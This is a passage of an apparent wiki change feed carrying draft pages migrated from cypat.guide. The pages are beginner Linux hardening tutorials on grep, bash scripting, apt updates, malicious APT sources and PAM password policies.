Sampson: Yes, better, sir.&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This is where the -i flag comes in. The -i flag ensures that the output isn&#039;t case sensitive. This will result in the output returning both &#039;sir&#039; and &#039;Sir&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;kirillshore@Magma:~/GitHub/tmp$ cat romeo\ ampersand\ juliet\ chapter\ 1.md | grep -i sir&lt;br /&gt;
Abraham: Do you bite your thumb at us, sir?&lt;br /&gt;
Sampson: I do bite my thumb, sir.&lt;br /&gt;
Abraham: Do you bite your thumb at us, sir?&lt;br /&gt;
Sampson: No, sir. I do not bite my thumb at you, sir. But I bite my thumb, sir.&lt;br /&gt;
Gregory: Do you quarrel, Sir?&lt;br /&gt;
Abraham: Quarrel, sir! No, sir.&lt;br /&gt;
Sampson: If you do, sir, I am for you. I serve as good a man as you.&lt;br /&gt;
Sampson: Well, Sir.&lt;br /&gt;
Sampson: Yes, better, sir.&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
&amp;lt;small&amp;gt;This Wiki page was authored by Kirill Shore. Within cypat.guide, this content is licensed under CC-BY 4.0. All use outside of cypat.guide is governed by the Shore-Roger Enterprises End User License Agreement (https://www.kirillshore.com/eula). Proper attribution to Kirill Shore as the original author is required. Unauthorized copying, modification, or redistribution without appropriate credit constitutes plagiarism and may be subject to U.S. copyright law.&amp;lt;/small&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Fundamentals|022]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Advanced_Bash&amp;diff=163</id>
		<title>Draft:Advanced Bash</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Advanced_Bash&amp;diff=163"/>
		<updated>2026-09-22T05:42:34Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/linux_fundamentals/advanced_bash (source: docs/linux/linux_fundamentals/advanced_bash.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 07-07-2025&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;li&amp;gt;Introductory and intermediate bash&amp;lt;/li&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
In addition to what we&#039;ve already learned, bash has some very useful advanced functions.&lt;br /&gt;
&lt;br /&gt;
=== Exit codes ===&lt;br /&gt;
&lt;br /&gt;
After a command completes in bash, the &amp;lt;code&amp;gt;?&amp;lt;/code&amp;gt; variable will be set to its exit code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ ls&lt;br /&gt;
Desktop&lt;br /&gt;
Documents&lt;br /&gt;
Downloads&lt;br /&gt;
user@system:/home/user$ echo $?&lt;br /&gt;
0&lt;br /&gt;
user@system:/home/user$ ls Images&lt;br /&gt;
ls: cannot access &#039;images&#039;: No such file or directory&lt;br /&gt;
user@system:/home/user$ echo $?&lt;br /&gt;
2&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== Interpolation ===&lt;br /&gt;
&lt;br /&gt;
Just like Bash can substitute variable names for there values, it can also replace commands with what happens when you run them with interpolation. If you wrap a command in &amp;lt;code&amp;gt;$()&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;``&amp;lt;/code&amp;gt;, it will be executed, and replaced with its result. For example, if &amp;lt;code&amp;gt;a_command&amp;lt;/code&amp;gt; would return &amp;lt;code&amp;gt;Desktop&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;ls $(a_command)&amp;lt;/code&amp;gt; will actually execute as &amp;lt;code&amp;gt;ls Desktop&amp;lt;/code&amp;gt;, and will therefore list everything in the desktop. &amp;lt;code&amp;gt;$()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;``&amp;lt;/code&amp;gt; are equivalent in function, but the former is preferred in most cases, as it is cleaner and can nest.&lt;br /&gt;
&lt;br /&gt;
=== Arrays ===&lt;br /&gt;
&lt;br /&gt;
Bash can hold not just text, but arrays, in its variables. You define an array in parenthesis like this: &amp;lt;code&amp;gt;array=(one two three)&amp;lt;/code&amp;gt;. To access elements in an array, we use the &amp;lt;code&amp;gt;${}&amp;lt;/code&amp;gt; syntax from earlier like this: &amp;lt;code&amp;gt;${array[0]}&amp;lt;/code&amp;gt;. Like any regular language, 0 is the start, and -1 is the end. &amp;lt;code&amp;gt;${array[@]}&amp;lt;/code&amp;gt; returns every element in the array. You can also use slices like this: &amp;lt;code&amp;gt;${array[@]:0:3}&amp;lt;/code&amp;gt;, which will get elements 0, 1, and 2. To take slices from the end, you can do &amp;lt;code&amp;gt;${array[@]: -2}&amp;lt;/code&amp;gt;, which will get the last two elements. NOTE: You &#039;&#039;do&#039;&#039; need to include the space after the colon for this.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:/home/user$ array=(one two three four)&lt;br /&gt;
user@system:/home/user$ echo ${array[0]}&lt;br /&gt;
one&lt;br /&gt;
user@system:/home/user$ echo ${array[2]}&lt;br /&gt;
three&lt;br /&gt;
user@system:/home/user$ echo ${array[-1]}&lt;br /&gt;
four&lt;br /&gt;
user@system:/home/user$ echo ${array[@]}&lt;br /&gt;
one two three four&lt;br /&gt;
user@system:/home/user$ echo ${array[@]:0:3}&lt;br /&gt;
one two three&lt;br /&gt;
user@system:/home/user$ echo ${array[@]: -3}&lt;br /&gt;
two three four&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
== Bash for scripting ==&lt;br /&gt;
&lt;br /&gt;
Bash, as previously mentioned, can be used for scripts too, so it includes all the control features you would expect of a scripting language.&lt;br /&gt;
&lt;br /&gt;
=== IF statements ===&lt;br /&gt;
&lt;br /&gt;
Bash IF statements use the following syntax:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;if &amp;lt;commands&amp;gt;; then&lt;br /&gt;
    ...&lt;br /&gt;
elif &amp;lt;commands&amp;gt;; then&lt;br /&gt;
    ...&lt;br /&gt;
else&lt;br /&gt;
    ...&lt;br /&gt;
fi&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
IF statements are decided based on the commands you put in &amp;lt;code&amp;gt;&amp;amp;lt;commands&amp;amp;gt;&amp;lt;/code&amp;gt; (you can use command joining). It will execute if the commands succeed (exit code 0). However, to do more basic operations like comparing strings in an if statement, you can use &amp;lt;code&amp;gt;&amp;amp;#91;&amp;amp;#91; &amp;amp;#93;&amp;amp;#93;&amp;lt;/code&amp;gt;, and &amp;lt;code&amp;gt;(( ))&amp;lt;/code&amp;gt; for math. Technically, &amp;lt;code&amp;gt;&amp;amp;#91;&amp;amp;#91;&amp;lt;/code&amp;gt; is a command, but we can treat it as just part of the syntax. Some basic ways to use this are as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;if [[ &amp;quot;str a&amp;quot; == &amp;quot;str b&amp;quot; ]]; then&lt;br /&gt;
(runs if the two strings are equal)&lt;br /&gt;
&lt;br /&gt;
if [[ &amp;quot;str a&amp;quot; != &amp;quot;str b&amp;quot; ]]; then&lt;br /&gt;
(runs if the two strings are not euqal)&lt;br /&gt;
&lt;br /&gt;
if (( 1 == 2 )); then&lt;br /&gt;
(runs if the two operands are equal)&lt;br /&gt;
&lt;br /&gt;
if (( 1 &amp;gt; 2 )); then&lt;br /&gt;
(runs if 1 &amp;gt; 2)&lt;br /&gt;
&lt;br /&gt;
if (( $a &amp;lt;= $b )); then&lt;br /&gt;
(runs if a &amp;lt;= b)&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
NOTE: The strings can include variables, or even include just a variable, and the numbers can be substituted for variables that only contain numbers.&lt;br /&gt;
&lt;br /&gt;
=== For loops ===&lt;br /&gt;
&lt;br /&gt;
You can do a for loop in bash as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;for i in &amp;quot;${array[@]}&amp;quot;; do&lt;br /&gt;
    echo &amp;quot;$i&amp;quot;&lt;br /&gt;
done&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This will iterate over every element in &amp;lt;code&amp;gt;array&amp;lt;/code&amp;gt;. You can use slicing here to only get some of the array.&lt;br /&gt;
&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://linuxhandbook.com/bash/&lt;br /&gt;
* https://tldp.org/LDP/abs/html&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Fundamentals|021]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Application_Updates&amp;diff=162</id>
		<title>Draft:Introduction to Application Updates</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Application_Updates&amp;diff=162"/>
		<updated>2026-09-22T05:42:33Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/application_updates/intro_application_updates (source: docs/linux/application_updates/intro_application_updates.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 8-13-2025&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None! This is an introductory article.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== What is Application Updates? ===&lt;br /&gt;
&lt;br /&gt;
Application Updates simply refers to updating the software on the system.&lt;br /&gt;
&lt;br /&gt;
=== Why is this important? ===&lt;br /&gt;
&lt;br /&gt;
Keeping your software up to date is important, as it ensures that you are using the latest versions of all software. This makes sure that you have the latest security patches and therefore reduces the attack surface.&lt;br /&gt;
&lt;br /&gt;
=== How to update packages ===&lt;br /&gt;
&lt;br /&gt;
To update packages on Debian-based linux distros (Ubuntu, Mint, Debian, etc...), we use APT.&lt;br /&gt;
&lt;br /&gt;
==== apt update ====&lt;br /&gt;
&lt;br /&gt;
Before we can actually update the packages, we need to run &amp;lt;code&amp;gt;sudo apt update&amp;lt;/code&amp;gt;. While counterintuitive, this does not update the packages themselves, it updates the package lists so that APT knows what to actually update. To get started, run:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt update&lt;br /&gt;
...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== apt upgrade ====&lt;br /&gt;
&lt;br /&gt;
Now that our package lists are updated, we can actually update everything. To do this, we use the command: &amp;lt;code&amp;gt;sudo apt upgrade&amp;lt;/code&amp;gt;. This will fetch and install the latest versions of all packages on the system, keeping you up to date with the latest security fixes.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt upgrade&lt;br /&gt;
...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://linuxize.com/post/how-to-use-apt-command/&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Application Updates|028]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Intermediate_Application_Updates&amp;diff=161</id>
		<title>Draft:Intermediate Application Updates</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Intermediate_Application_Updates&amp;diff=161"/>
		<updated>2026-09-22T05:42:32Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/application_updates/intermediate_application_updates (source: docs/linux/application_updates/intermediate_application_updates.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 8-13-2025&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* Intro application updates&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Some problems with apt update/upgrade ===&lt;br /&gt;
&lt;br /&gt;
Using &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;apt upgrade&amp;lt;/code&amp;gt; will work ~95% of the time to update software. However, there are a few things that can prevent apps from being updated like this.&lt;br /&gt;
&lt;br /&gt;
==== Held Packages ====&lt;br /&gt;
&lt;br /&gt;
APT includes a feature called &amp;lt;code&amp;gt;hold&amp;lt;/code&amp;gt;. Packages marked as held will be kept at their current version and not updated even if a new version is available. To find all held apt packages, we can use &amp;lt;code&amp;gt;apt-mark&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt-mark showhold&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
If there are any held packages, you can unhold them with &amp;lt;code&amp;gt;apt-mark&amp;lt;/code&amp;gt; like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt-mark unhold xyz&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
After this, you can do &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;apt upgrade&amp;lt;/code&amp;gt; again, and the previously-held package will be updated.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt update&lt;br /&gt;
...&lt;br /&gt;
user@system:~$ sudo apt upgrade&lt;br /&gt;
...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
==== Incomplete sources ====&lt;br /&gt;
&lt;br /&gt;
When you run &amp;lt;code&amp;gt;sudo apt update&amp;lt;/code&amp;gt; to update apt&#039;s sources, it is fetching the package lists from APT repositories listed in &amp;lt;code&amp;gt;/etc/apt/sources.list&amp;lt;/code&amp;gt; If this list is missing some repositories, APT won&#039;t be able to fetch all of the updates. Every distro has different default sources, so you&#039;ll need to use something like the website in Further Reading to find the default sources.list for your distro. Once you find that, ensure that yours contains all the same lines and nothing is commented out that shouldn&#039;t be. Once that&#039;s fixed, update your apt sources and upgrade.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;user@system:~$ sudo apt update&lt;br /&gt;
...&lt;br /&gt;
user@system:~$ sudo apt upgrade&lt;br /&gt;
...&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://first2host.co.uk/blog/default-ubuntu-sources-list/&lt;br /&gt;
* https://askubuntu.com/questions/640986/how-to-get-a-list-of-installed-packages-held-back-from-upgrade&lt;br /&gt;
* https://askubuntu.com/questions/18654/how-to-prevent-updating-of-a-specific-package&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Application Updates|029]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Advanced_Application_Updates&amp;diff=160</id>
		<title>Draft:Advanced Application Updates</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Advanced_Application_Updates&amp;diff=160"/>
		<updated>2026-09-22T05:42:32Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/advanced_application_updates (source: docs/linux/advanced_application_updates.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 9-10-2025&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
* Intermediate application updates&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Some problems with APT ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Sources ====&lt;br /&gt;
&lt;br /&gt;
Previously, we learned about missing or incomplete APT sources. However, not only can there be missing or inadequate sources, there could also be malicious sources that tell APT to download software from sources controlled by bad actors. Additionally, even if not malicious, unwanted sources facilitate the downloading of unwanted software and should be removed. To look for apt sources, you can check in &amp;lt;code&amp;gt;/etc/apt/sources.list&amp;lt;/code&amp;gt; for any source line that does not seem to be official. Generally, all official sources will include ubuntu or the name of your distro. To be sure, you can take baselines of the this file on a clean copy of the OS and compare them. However, malicious sources don&#039;t have to be here, as apt allows for additional sources to be listed in files in &amp;lt;code&amp;gt;/etc/apt/sources.list.d&amp;lt;/code&amp;gt;. Usually, this directory is empty or contains a readme of some sort, so if there&#039;s anything else in there it may be a malicious or unwanted sources. Some programs like firefox or docker require additional sources if they are to be installed with apt, so before removing a source, check and make sure that it is not required.&lt;br /&gt;
&lt;br /&gt;
==== Unmet dependencies and broken packages ====&lt;br /&gt;
&lt;br /&gt;
Sometimes, if the wrong package is installed or a dependency is not met, apt can enter a state where it can not function properly due to unmet dependencies. If this happens, you can run &amp;lt;code&amp;gt;apt --fix-broken install&amp;lt;/code&amp;gt;. This will make apt attempt to resolve unmet dependencies and restore proper functionality. Cases like this usually happen due to installing the wrong package straight from a &amp;lt;code&amp;gt;.deb&amp;lt;/code&amp;gt; file or because apt was using the wrong sources. Therefore, if you can&#039;t fix the problem with &amp;lt;code&amp;gt;apt --fix-broken install&amp;lt;/code&amp;gt;, try removing any weird packages, ensuring your apt sources are set properly, running &amp;lt;code&amp;gt;apt update&amp;lt;/code&amp;gt;, and then trying &amp;lt;code&amp;gt;apt --fix-broken install&amp;lt;/code&amp;gt; again.&lt;br /&gt;
&lt;br /&gt;
==== dpkg reconfigure ====&lt;br /&gt;
&lt;br /&gt;
Another common issue that can come up with apt is that if the process is killed during the installation, update, or removal of a package, the package can become improperly configured, and apt will refuse to work. The solution is very simple however, as you can simply run &amp;lt;code&amp;gt;dpkg --force-all --configure -a&amp;lt;/code&amp;gt;, and dpkg will resolve any errors, and apt should be restored.&lt;br /&gt;
&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://linuxsimply.com/linux-basics/package-management/package-manager-comparison/dpkg-vs-apt/&lt;br /&gt;
* https://askubuntu.com/questions/1473619/so-why-do-people-still-use-dpkg-when-there-is-apt&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux|030]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_to_Account_Policies&amp;diff=159</id>
		<title>Draft:Introduction to Account Policies</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_to_Account_Policies&amp;diff=159"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/linux/account_policies/intro_account_policies (source: docs/linux/account_policies/intro_account_policies.md) --&amp;gt;&lt;br /&gt;
Author(s): Matthias Lee (ml2322) &amp;lt;br /&amp;gt; Last Updated: 8-13-2025&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
{| class=&amp;quot;mw-collapsible mw-collapsed wikitable&amp;quot; style=&amp;quot;width:100%&amp;quot;&lt;br /&gt;
! Recommended Prerequisites (click to expand)&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
None! This is an introductory article.&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== What is Account Policies? ===&lt;br /&gt;
&lt;br /&gt;
Account policies refers to all system policies regerding user accounts and groups, including but not limited to things like password length and complexity, account locking, umask, and more.&lt;br /&gt;
&lt;br /&gt;
=== Why is this important? ===&lt;br /&gt;
&lt;br /&gt;
Account policies are important, as insecure account policies can permit insecure user accounts to exist, creating a more vulnerable attack surface. Secure account policies ensure that all user accounts meet high security standards, preventing simple attacks.&lt;br /&gt;
&lt;br /&gt;
=== PAM ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;PAM&amp;lt;/code&amp;gt;, or Pluggable Authentication Modules is a piece of software that handles authentication in almost all versions of linux. PAM is one of the key elements of account policies. Further reading on PAM is recommended in addition to these guides.&lt;br /&gt;
&lt;br /&gt;
=== Basic account policies ===&lt;br /&gt;
&lt;br /&gt;
==== Password strength ====&lt;br /&gt;
&lt;br /&gt;
Password strength is one of the most basic account policy settings, ensuring that all accounts have passwords that meet length, complexity, and dictionary requirements to prevent brute force attacks. Password strength can be enforced with PAM&#039;s &amp;lt;code&amp;gt;pam_pwquality.so&amp;lt;/code&amp;gt; module. To get started, open up &amp;lt;code&amp;gt;/etc/pam.d/common-password&amp;lt;/code&amp;gt; in a text editor. Find the &amp;lt;code&amp;gt;pwquality&amp;lt;/code&amp;gt; line. It should look something like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;password   requisite   pam_pwquality.so retry=3&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
As of now, this line only contains &amp;lt;code&amp;gt;retry=3&amp;lt;/code&amp;gt;, allowing 3 retries when a user is prompted for their password. Yours may contain more options than just this. If so, great! You already have more password policies set by default. To ensure that you&#039;re using the most secure password policy, add the following options to your pwquality line:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;minlen=12 maxrepeat=3 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 difok=3 reject_username enforce_for_root&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
It should look like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;password  requisite   pam_pwquality.so retry=3 minlen=12 maxrepeat=3 ucredit=-1 lcredit=-1 dcredit=-1 ocredit=-1 difok=3 reject_username enforce_for_root&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
This is a lot, so let&#039;s break down what each of these arguments means.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;retry=3&amp;lt;/code&amp;gt;: As previously discussed, this allows 3 attempts to correctly enter your password.&lt;br /&gt;
* &amp;lt;code&amp;gt;minlen=12&amp;lt;/code&amp;gt;: Requires passwords to be at least 12 characters long&lt;br /&gt;
* &amp;lt;code&amp;gt;maxrepeat=3&amp;lt;/code&amp;gt;: Only allows 3 repeated characters in the password&lt;br /&gt;
* &amp;lt;code&amp;gt;ucredit=-1&amp;lt;/code&amp;gt;: Requires at least one uppercase letter&lt;br /&gt;
* &amp;lt;code&amp;gt;lcredit=-1&amp;lt;/code&amp;gt;: Requires at least one lowercase letter&lt;br /&gt;
* &amp;lt;code&amp;gt;dcredit=-1&amp;lt;/code&amp;gt;: Requires at least one number&lt;br /&gt;
* &amp;lt;code&amp;gt;ocredit=-1&amp;lt;/code&amp;gt;: Requires at least one special character or symbol&lt;br /&gt;
* &amp;lt;code&amp;gt;difok=3&amp;lt;/code&amp;gt;: Requires that at least 3 character changes be present when changing a password&lt;br /&gt;
* &amp;lt;code&amp;gt;reject_username&amp;lt;/code&amp;gt;: Reject a password that contains or is your username&lt;br /&gt;
* &amp;lt;code&amp;gt;enforce_for_root&amp;lt;/code&amp;gt;: Enforces these settings even for the root user&lt;br /&gt;
&lt;br /&gt;
==== Password age ====&lt;br /&gt;
&lt;br /&gt;
While not as obvious as password strength, password age is also important for account security, as if passwords are kept too long without being changed it is more likely that they get stolen. Additionally, allowing passwords to be changed too soon also is insecure, as it makes it easier for attackers to change someone&#039;s password. Not to worry, as we can configure all of these settings in &amp;lt;code&amp;gt;/etc/login.defs&amp;lt;/code&amp;gt;. To get started, open &amp;lt;code&amp;gt;/etc/login.defs&amp;lt;/code&amp;gt; in your text editor. Then, find the group of lines that look like this:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;PASS_MAX_DAYS 9999&lt;br /&gt;
PASS_MIN_DAYS 0&lt;br /&gt;
PASS_WARN_AGE 9999&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
If they are commented out, uncomment them, and if you don&#039;t have them, go ahead and add them. These lines set the maximum age for a password before a user must change it, the minimum age before it can be changed, and the age at which you will be warned of your password&#039;s impending expiry. Go ahead and set them to secure values like so:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;PASS_MAX_DAYS 14&lt;br /&gt;
PASS_MIN_DAYS 5&lt;br /&gt;
PASS_WARN_AGE 7&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
====== Further Reading ======&lt;br /&gt;
&lt;br /&gt;
* https://www.linuxtechi.com/enforce-password-policies-linux-ubuntu-centos/&lt;br /&gt;
* https://linuxtect.com/linux-etc-login-defs-tutorial/&lt;br /&gt;
&lt;br /&gt;
[[Category:Linux Account Policies|024]]&lt;br /&gt;
[[Category:Migrated from cypat.guide]]&lt;br /&gt;
[[Category:Pending review]]&lt;/div&gt;</summary>
		<author><name>MigrationBot</name></author>
	</entry>
	<entry>
		<id>https://wikicyber.org/index.php?title=Draft:Introduction_(General)&amp;diff=158</id>
		<title>Draft:Introduction (General)</title>
		<link rel="alternate" type="text/html" href="https://wikicyber.org/index.php?title=Draft:Introduction_(General)&amp;diff=158"/>
		<updated>2026-09-22T05:42:30Z</updated>

		<summary type="html">&lt;p&gt;MigrationBot: Backfill (v3.0 review queue): added to the review queue&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Submit}}&lt;br /&gt;
&amp;lt;!-- Migrated from https://cypat.guide/docs/intro (source: docs/intro.md) --&amp;gt;&lt;br /&gt;
cypat.guide is a non-profit organisation to help develop blue-team skills through articles and practice images developed by the community. This website includes docs for Windows, Linux, and Cisco.&lt;br /&gt;
&lt;br /&gt;
-----&lt;br /&gt;
&lt;br /&gt;
== Vulnerability Categories ==&lt;br /&gt;
&lt;br /&gt;
Each virtual machine (VM) contains vulnerabilities grouped into categories. This guide focuses on these categories:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Account Policies&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Password and lockout policies.&lt;br /&gt;
* &#039;&#039;&#039;Application Security Settings&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Critical services, required settings, and permissions.&lt;br /&gt;
* &#039;&#039;&#039;Application Updates&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Update status and automatic update configurations.&lt;br /&gt;
* &#039;&#039;&#039;Defensive Countermeasures&#039;&#039;&#039;&amp;lt;br /&amp;gt;&lt;br /&gt;
Firewalls, antivirus software, encryption, etc.&lt;br /&gt;
